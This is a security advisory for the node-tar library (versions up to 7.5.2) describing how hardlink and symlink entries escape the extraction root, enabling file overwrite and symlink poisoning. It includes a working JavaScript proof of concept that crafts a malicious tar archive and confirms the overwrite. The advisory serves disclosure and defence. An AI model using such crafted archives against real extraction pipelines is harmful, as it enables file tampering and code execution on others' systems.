GHSA-8qq5-rm4j-mr97

### Summary

The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.

### Details

The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.

**1. Hardlink Escape (Arbitrary File Overwrite)**

The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

**2. Symlink Poisoning**

The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.

### PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

```javascript const fs = require('fs') const path = require('path') const tar = require('tar')

const out = path.resolve('out_repro') const secret = path.resolve('secret.txt') const tarFile = path.resolve('exploit.tar') const targetSym = '/etc/passwd'

// Cleanup & Setup try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {} fs.mkdirSync(out) fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file) const h1 = new tar.Header({ path: 'exploit_hard', type: 'Link', size: 0, linkpath: secret }) h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd) const h2 = new tar.Header({ path: 'exploit_sym', type: 'SymbolicLink', size: 0, linkpath: targetSym }) h2.encode()

// Write binary tar fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings tar.x({ cwd: out, file: tarFile, preservePaths: false }).then(() => { console.log('[*] Verifying payload...')

// Test Hardlink Overwrite try { fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN') if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') { console.log('[+] VULN CONFIRMED: Hardlink overwrite successful') } else { console.log('[-] Hardlink failed') } } catch (e) {}

// Test Symlink Poisoning try { if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) { console.log('[+] VULN CONFIRMED: Symlink points to absolute path') } else { console.log('[-] Symlink failed') } } catch (e) {} })

```

### Impact

* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files. * **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)